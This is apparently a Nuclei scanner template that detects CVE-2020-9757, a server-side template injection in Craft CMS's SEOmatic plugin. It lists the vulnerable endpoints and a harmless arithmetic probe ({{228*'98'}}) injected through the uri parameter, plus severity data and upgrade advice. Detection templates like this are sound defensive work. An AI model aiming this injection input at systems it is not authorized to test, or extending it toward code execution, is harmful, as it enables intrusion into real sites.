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id : CVE-2020-9757
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info :
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name : Craft CMS < 3.3.0 - Server-Side Template Injection
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author : dwisiswant0
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severity : critical
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description : Craft CMS before 3.3.0 is susceptible to server-side template injection via the SEOmatic component that could lead to remote code execution via malformed data submitted to the metacontainers controller.
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remediation : |
Upgrade Craft CMS to version 3.3.0 or higher to mitigate this vulnerability.
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reference :
- https://github.com/nystudio107/craft-seomatic/blob/v3/CHANGELOG.md
- https://github.com/giany/CVE/blob/master/CVE-2020-9757.txt
- https://github.com/nystudio107/craft-seomatic/commit/65ab659cb6c914c7ad671af1e417c0da2431f79b
- https://github.com/nystudio107/craft-seomatic/commit/a1c2cad7e126132d2442ec8ec8e9ab43df02cc0f
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- https://nvd.nist.gov/vuln/detail/CVE-2020-9757
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classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
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cve-id : CVE-2020-9757
cwe-id : CWE-74
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epss-score : 0.96999
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epss-percentile : 0.99646
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cpe : cpe:2.3:a:craftcms:craft_cms:*:*:*:*:*:*:*:*
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metadata :
max-request : 2
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vendor : craftcms
product : craft_cms
tags : cve,cve2020,ssti
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http :
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- method : GET
path :
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- "{{BaseURL}}/actions/seomatic/meta-container/meta-link-container/?uri={{228*'98'}}"
- "{{BaseURL}}/actions/seomatic/meta-container/all-meta-containers?uri={{228*'98'}}"
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skip-variables-check : true
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matchers-condition : and
matchers :
- type : word
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part : body
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words :
- "MetaLinkContainer"
- "canonical"
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- "22344"
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condition : and
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- type : status
status :
- 200
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# digest: 4b0a00483046022100880d469f708dcd2b4cd99df0f3fea85d1049bbd99e8b5cacbe1d8d2d1fab1053022100fae1a0315ed1ace79c5720ee10844a9ee3aa0f4e55d128a9225e256d893687b2:922c64590222798bb761d5b6d8e72950